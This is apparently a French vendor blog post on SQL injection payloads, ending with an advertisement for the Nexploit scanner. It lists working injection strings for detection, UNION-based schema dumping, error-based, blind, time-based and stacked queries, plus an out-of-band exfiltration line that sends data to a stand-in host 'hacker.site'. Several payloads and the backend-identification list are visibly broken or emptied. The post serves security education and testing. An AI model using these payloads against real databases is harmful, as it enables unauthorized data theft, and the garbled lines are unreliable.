Charges utiles d’injection SQL : Comment fonctionnent les exploits SQLi
Qu’est-ce qu’une charge utile d’injection SQL ?
L’injection SQL représente une vulnérabilité de sécurité Web qui permet aux attaquants d’afficher des données qu’ils ne devraient pas pouvoir, en permettant à l’attaquant d’interférer avec les requêtes qu’une application envoie à sa base de données en injectant des charges utiles d’injection SQL malveillantes.
En savoir plus sur les attaques par injection SQL dans cet article de blog – Que sont les injections SQL et Comment les Prévenir
Dans cet article de blog, nous allons expliquer comment vérifier si un site Web est vulnérable à SQLi et aux différentes charges utiles d’injection SQL utilisées pour exploiter différents types de vulnérabilités d’injection SQL.
Dans cet article:
Confirmant SQLi: Détection de point d’entrée
Pour identifier si vos applications sont vulnérables à SQLi et si vous pouvez utiliser les charges utiles qui suivent, vous devez d’abord pouvoir injecter des données dans la requête sans la casser. La première étape consiste à savoir comment sortir du contexte actuel.
Essayez l’un de ces exemples utiles:
'
"
`
')
")
`)
'))
"))
`))
Pour corriger la requête, vous pouvez saisir des données afin que la requête précédente accepte les nouvelles données, ou vous pouvez saisir des données et ajouter un symbole de commentaire à la fin.
Cette phase sera plus facile si vous pouvez voir des messages d’erreur ou si vous pouvez identifier si / quand une requête fonctionne ou non.
MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Confirmation de SQLi à l’aide d’opérations logiques
Vous pouvez confirmer une vulnérabilité d’injection SQL en effectuant une opération logique. Si vous obtenez le résultat attendu, vous avez confirmé SQLi.
Voici à quoi cela ressemble en pratique:
Si le paramètre GET ?username=John
renvoie le même contenu que ?username=John'
ou '1'='1
, vous avez trouvé une vulnérabilité d’injection SQL.
Ce concept fonctionne également pour les opérations mathématiques:
Si ?id=1
renvoie la même chose que ?id=2-1
, vous avez trouvé une vulnérabilité d’injection SQL.
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
Confirmation de l’injection SQL avec Timing
Dans certains cas, lorsque vous essayez de confirmer un SQLi, il n’y aura pas de changement notable sur la page que vous testez. Cela indique un SQL aveugle, qui peut être identifié en obligeant la base de données à effectuer des actions qui auront un impact sur le temps de chargement de la page.
Nous allons ajouter à la requête SQL une opération qui prendra plus de temps à s’exécuter, comme effectuer les opérations suivantes:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Les fonctions de veille ne sont pas toujours autorisées, alors faites en sorte qu’une requête effectue des opérations complexes qui prendront plusieurs secondes à la place.
Identification du Back-end
Différents backends ont des fonctions différentes, qui peuvent être identifiées en exécutant ces fonctions. Des exemples de ces fonctions sont:
MySQL,
,
,
MSSL,
,
,
,
,
Oracle,
,
,
PostgreSQL,
,
,
,
,
,
SQLite,
,
,
Accès MS,
,
,
,
,
Charges utiles d’injection SQL basées sur l’union
Détection du nombre de colonnes
Les deux requêtes (celle d’origine et celle que nous modifions) doivent renvoyer le même nombre de colonnes. Mais comment savons-nous le nombre de colonnes renvoyées par la demande initiale? Nous utilisons généralement l’une des deux méthodes suivantes pour obtenir le nombre de colonnes:
Order / Group by
Même si GROUP BY
et ORDER BY
ont des fonctionnalités différentes en SQL, ils peuvent tous deux être utilisés pour déterminer le nombre de colonnes dans la requête. Incrémentez le nombre jusqu’à ce que vous obteniez une fausse réponse:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Dans le cas d’UNION SELECT, insérez un nombre croissant de valeurs null jusqu’à ce que la requête soit valide:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Pourquoi les valeurs nulles sont-elles utilisées? Il existe des cas dans lesquels le type des colonnes des deux côtés de la requête doit être le même. Null est valide dans tous les cas.
Extraire les noms de bases de données, les tables et les noms de colonnes
Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, les noms de tables d’une base de données et les noms de colonnes de la table:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=
La méthode utilisée pour découvrir ces données varie de la base de données elle-même, mais c’est toujours la même méthodologie.
Charges utiles d’injection SQL basées sur des erreurs
Si la sortie de la requête n’est pas visible, mais que vous pouvez voir les messages d’erreur, vous pouvez faire fonctionner ces messages d’erreur pour exfiltrer les données de la base de données.
Similaire à l’exemple d’exploitation basée sur l’Union, vous pouvez vider la base de données:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Charges utiles d’injections SQL aveugles
Dans le cas d’une injection SQL aveugle, vous ne pouvez pas voir les résultats de la requête ni les erreurs, mais vous pouvez distinguer quand la requête a renvoyé une réponse vraie ou fausse en fonction du contenu différent de la page.
Vous pouvez abuser de ce comportement pour vider la base de données char par char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Charges utiles d’injection SQL aveugle d’erreur
Comme son nom l’indique, ceci est très similaire à l’injection SQL aveugle, mais cette fois, vous n’avez pas à faire la distinction entre une réponse vraie ou fausse. Vous vérifiez s’il y a une erreur dans la requête SQL ou non, en forçant une erreur SQL chaque fois que vous devinez correctement le caractère:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Charges utiles d’injection SQL basées sur le temps
Vous pouvez utiliser cette technique principalement lorsque vous êtes sur le point d’exploiter des vulnérabilités aveugles où vous utilisez une deuxième requête pour déclencher une recherche DNS, une erreur conditionnelle ou un délai.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Requêtes empilées
Les requêtes empilées peuvent être utilisées pour exécuter plusieurs requêtes successivement. Pendant que les requêtes suivantes sont exécutées, les résultats ne sont pas renvoyés à l’application. Vous pouvez utiliser cette technique pour masquer les vulnérabilités où vous utilisez une deuxième requête pour déclencher une recherche DNS, une erreur conditionnelle ou un délai.
Alors qu’Oracle et MySQL ne prennent pas en charge les requêtes empilées, Microsoft et PostgreSQL les prennent en charge: QUERY-1-HERE; QUERY-2-HERE
Charges utiles SQLi hors bande
Si aucune des méthodes d’exploitation mentionnées ci-dessus n’a fonctionné pour vous, vous pouvez essayer de faire en sorte que la base de données exfiltre les données vers un hôte externe que vous contrôlez. Par exemple, vous pouvez utiliser des requêtes DNS:
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
Détectez l’injection SQL à l’aide de Nexploit
Nexploit de NeuraLegion automatise la détection et la correction de centaines de vulnérabilités, y compris l’injection SQL.
En intégrant les analyses DAST dès le début du processus de développement, les développeurs et les experts en sécurité des applications peuvent détecter les vulnérabilités rapidement et y remédier avant qu’elles n’apparaissent en production.
Avec Nexploit, les analyses se font en quelques minutes et les résultats ne comportent aucun faux positif. Cela permet aux développeurs d’adopter la solution et de l’utiliser tout au long du cycle de développement.
Analysez n’importe quelle application Web ou API pour éviter les vulnérabilités d’injection SQL – essayez NeuraLegion Nexploit gratuitement.